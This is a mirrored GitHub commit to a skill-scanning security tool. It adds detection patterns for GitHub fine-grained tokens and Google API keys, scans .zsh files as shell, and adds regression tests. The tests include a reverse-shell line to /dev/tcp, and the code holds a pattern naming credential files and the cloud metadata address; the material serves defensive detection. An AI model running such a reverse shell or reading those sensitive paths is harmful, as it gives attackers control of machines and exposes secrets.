mirror of
https://github.com/bytedance/deer-flow.git
synced 2026-10-26 21:26:39 +00:00
fix(skillscan): detect fine-grained PATs and Google API keys, scan .zsh (#6423)
- secret-cloud-token: add the github_pat_ and AIza families, matching the canonical PII detector. - _is_shell_path: treat .zsh by suffix, so a missing shebang or a rename can no longer bypass every shell rule. - Sync the same two patterns into _EGRESS_SECRET_PATTERNS so the IM egress scrubber stays in lockstep with skillscan. - Regression tests for all of the above. Co-authored-by: yu1128-L <296164533+yu1128-L@users.noreply.github.com>
This commit is contained in:
parent
cde9602631
commit
a4427625cf
@ -48,8 +48,10 @@ _EGRESS_SECRET_PATTERNS: tuple[re.Pattern[str], ...] = (
|
||||
),
|
||||
re.compile(r"\b(?:AKIA|ASIA)[A-Z0-9]{16}\b"),
|
||||
re.compile(r"\bgh[pousr]_[A-Za-z0-9_]{20,}\b"),
|
||||
re.compile(r"\bgithub_pat_[A-Za-z0-9_]{20,}\b"),
|
||||
re.compile(r"\bxox[baprs]-[A-Za-z0-9-]{20,}\b"),
|
||||
re.compile(r"\bsk-[A-Za-z0-9_-]{20,}\b"),
|
||||
re.compile(r"\bAIza[0-9A-Za-z_-]{35}\b"),
|
||||
re.compile(r"(?im)\b(token|password|passwd|api[_-]?key|secret|credential)s?\b\s*[:=]\s*[\"']?([^\"'\s#]+)"),
|
||||
)
|
||||
|
||||
|
||||
@ -130,8 +130,10 @@ _SECRET_TOKEN_PATTERNS = tuple(
|
||||
for pattern in (
|
||||
r"\b(?:AKIA|ASIA)[A-Z0-9]{16}\b",
|
||||
r"\bgh[pousr]_[A-Za-z0-9_]{20,}\b",
|
||||
r"\bgithub_pat_[A-Za-z0-9_]{20,}\b",
|
||||
r"\bxox[baprs]-[A-Za-z0-9-]{20,}\b",
|
||||
r"\bsk-[A-Za-z0-9_-]{20,}\b",
|
||||
r"\bAIza[0-9A-Za-z_-]{35}\b",
|
||||
)
|
||||
)
|
||||
_SENSITIVE_PATH_RE = re.compile(r"(~/.ssh|/etc/passwd|/etc/shadow|/var/run/docker\.sock|docker\.sock|169\.254\.169\.254)")
|
||||
@ -1033,7 +1035,7 @@ def _is_python_path(rel_path: str, text: str) -> bool:
|
||||
|
||||
def _is_shell_path(rel_path: str, text: str) -> bool:
|
||||
suffix = PurePosixPath(rel_path).suffix.lower()
|
||||
return suffix in {".sh", ".bash"} or text.startswith("#!") and any(shell in text.splitlines()[0].lower() for shell in ("sh", "bash", "zsh"))
|
||||
return suffix in {".sh", ".bash", ".zsh"} or text.startswith("#!") and any(shell in text.splitlines()[0].lower() for shell in ("sh", "bash", "zsh"))
|
||||
|
||||
|
||||
def _looks_like_placeholder(value: str) -> bool:
|
||||
|
||||
@ -231,6 +231,22 @@ def test_redact_egress_text_scrubs_entire_pem_block():
|
||||
assert "[redacted]" in redacted
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"secret",
|
||||
[
|
||||
# GitHub fine-grained PAT: `github_pat_` + 22 chars + `_` + 59 chars.
|
||||
"github_pat_11ABCDEFG0123456789012_" + "A" * 59,
|
||||
# Google API key: `AIza` + exactly 35 more characters.
|
||||
"AIza" + "SyA1234567890abcdefghijklmnopqrstuv",
|
||||
],
|
||||
)
|
||||
def test_redact_egress_text_scrubs_canonical_token_families(secret: str):
|
||||
redacted = redact_egress_text(f"answer used {secret} here")
|
||||
|
||||
assert secret not in redacted
|
||||
assert "[redacted]" in redacted
|
||||
|
||||
|
||||
def test_multiline_pem_block_never_reaches_the_text():
|
||||
pem_body = "ABCDEFSECRETKEYBODY"
|
||||
pem = "-----BEGIN PRIVATE KEY-----\n" + pem_body + "\n-----END PRIVATE KEY-----"
|
||||
|
||||
@ -551,6 +551,29 @@ def test_secret_token_evidence_leaks_no_secret_bytes(tmp_path: Path) -> None:
|
||||
assert "a1" not in evidence
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"token",
|
||||
[
|
||||
# GitHub fine-grained PAT: `github_pat_` + 22 chars + `_` + 59 chars.
|
||||
"github_pat_11ABCDEFG0123456789012_" + "A" * 59,
|
||||
# Google API key: `AIza` + exactly 35 more characters.
|
||||
"AIza" + "SyA1234567890abcdefghijklmnopqrstuv",
|
||||
],
|
||||
)
|
||||
def test_secret_cloud_token_matches_canonical_token_families(tmp_path: Path, token: str) -> None:
|
||||
# The canonical PII detector already flags these families; SkillScan must catch
|
||||
# the same tokens even when the line carries no `KEY=` binding for them.
|
||||
skill_dir = tmp_path / "demo-skill"
|
||||
_write_skill(skill_dir, f"Authorize the request with Bearer {token}.\n")
|
||||
|
||||
result = scan_skill_dir(skill_dir)
|
||||
|
||||
finding = _finding_by_rule(result["findings"], "secret-cloud-token")
|
||||
assert finding["severity"] == "CRITICAL"
|
||||
assert result["blocked"] is True
|
||||
assert token not in (finding["evidence"] or "")
|
||||
|
||||
|
||||
def test_shell_weak_reverse_shell_idioms_warn_not_block(tmp_path: Path) -> None:
|
||||
skill_dir = tmp_path / "demo-skill"
|
||||
_write_skill(skill_dir)
|
||||
@ -579,6 +602,22 @@ def test_shell_strong_reverse_shell_still_blocks(tmp_path: Path) -> None:
|
||||
assert result["blocked"] is True
|
||||
|
||||
|
||||
def test_zsh_script_without_shebang_is_scanned_as_shell(tmp_path: Path) -> None:
|
||||
# A `.zsh` file used to skip every shell rule unless it carried a shebang, so a
|
||||
# rename bypassed the scan (issue #6374). The suffix alone must mark it as shell.
|
||||
skill_dir = tmp_path / "demo-skill"
|
||||
_write_skill(skill_dir)
|
||||
scripts_dir = skill_dir / "scripts"
|
||||
scripts_dir.mkdir()
|
||||
(scripts_dir / "run.zsh").write_text("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n", encoding="utf-8")
|
||||
|
||||
result = scan_skill_dir(skill_dir)
|
||||
|
||||
finding = _finding_by_rule(result["findings"], "shell-reverse-shell")
|
||||
assert (finding["file"], finding["severity"]) == ("scripts/run.zsh", "CRITICAL")
|
||||
assert result["blocked"] is True
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("rel_path", "script_bytes", "rule_id", "evidence"),
|
||||
[
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user